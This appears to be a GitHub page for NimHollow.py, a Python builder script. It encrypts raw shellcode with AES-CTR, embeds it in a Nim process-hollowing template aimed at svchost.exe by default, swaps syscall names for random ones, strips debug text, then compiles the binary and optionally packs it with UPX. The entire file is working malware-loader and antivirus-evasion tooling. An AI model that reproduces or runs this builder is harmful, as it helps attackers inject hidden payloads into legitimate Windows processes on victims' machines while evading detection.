-
Notifications
You must be signed in to change notification settings - Fork 43
/
NimHollow.py
executable file
·97 lines (70 loc) · 3.31 KB
/
NimHollow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
import os
import re
import hashlib
from pathlib import Path
from base64 import b64encode
from random import choices
from string import ascii_lowercase, ascii_uppercase, digits
from argparse import ArgumentParser
import Crypto.Util.Counter
from Crypto.Cipher import AES
class AESCTR:
def __init__(self, password, iv):
self.bs = AES.block_size
self.key = hashlib.sha256(password.encode()).digest()
self.iv = iv
def encrypt(self, raw):
ctr = Crypto.Util.Counter.new(128, initial_value=int.from_bytes(self.iv, byteorder='big'), little_endian=False)
cipher = AES.new(self.key, AES.MODE_CTR, counter=ctr)
return cipher.encrypt(raw)
def get_random_string(n):
return ''.join(choices(ascii_lowercase + ascii_uppercase + digits, k=n))
def parse_args():
parser = ArgumentParser()
parser.add_argument('shellcode_bin', action='store', type=str, help='path to the raw shellcode file')
parser.add_argument('-i', '--image', action='store', type=str, default='C:\\Windows\\System32\\svchost.exe',
help='process image to hollow (default "C:\\Windows\\System32\\svchost.exe")')
parser.add_argument('-o', '--output', action='store', type=str, help='output filename')
parser.add_argument('--debug', action='store_true', default=False, help='do not strip debug messages from Nim binary')
parser.add_argument('--upx', action='store_true', default=False, help='compress Nim binary with upx')
parser.add_argument('--rm', action='store_true', default=False, help='remove Nim files after compiling the binary')
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
# Generate syscalls.nim header file with NimlineWhispers
os.system('bash NimHollow.sh')
with open(Path.cwd() / 'NimHollow.nim', 'r') as fd:
template = fd.read()
if not args.debug:
# Strip debug messages from Nim binary
template = re.sub(r'.*DEBUG.*\n', '', template)
template = re.sub(r'\s+# .*', '', template)
# Choose process image
template = template.replace('processImage: string = r""', f'processImage: string = r"{args.image}"')
# Replace syscall names with randomly generated by NimlineWhispers names
with open('syscalls.nim', 'r') as fd:
for line in fd.read().splitlines():
if line.startswith('# '):
api, api_rnd = line.lstrip('# ').split(' -> ')
template = template.replace(f'{api}(', f'{api_rnd}( # {api}')
# Encrypt the shellcode
with open(args.shellcode_bin, 'rb') as fd:
shellcode = fd.read()
password = get_random_string(16)
iv = os.urandom(16)
ctx = AESCTR(password, iv)
enc = ctx.encrypt(shellcode)
template = template.replace('password: string = ""', f'password: string = "{password}"')
template = template.replace('ivB64: string = ""', f'ivB64: string = "{b64encode(iv).decode()}"')
template = template.replace('encB64: string = ""', f'encB64: string = "{b64encode(enc).decode()}"')
# Output
out = args.output if args.output else 'out'
with open(f'{out}.nim', 'w') as fd:
fd.write(template)
os.system(f'nim c {out}.nim')
if args.upx:
os.system(f'upx --best {out}.exe')
if args.rm:
os.remove('syscalls.nim')
os.remove(f'{out}.nim')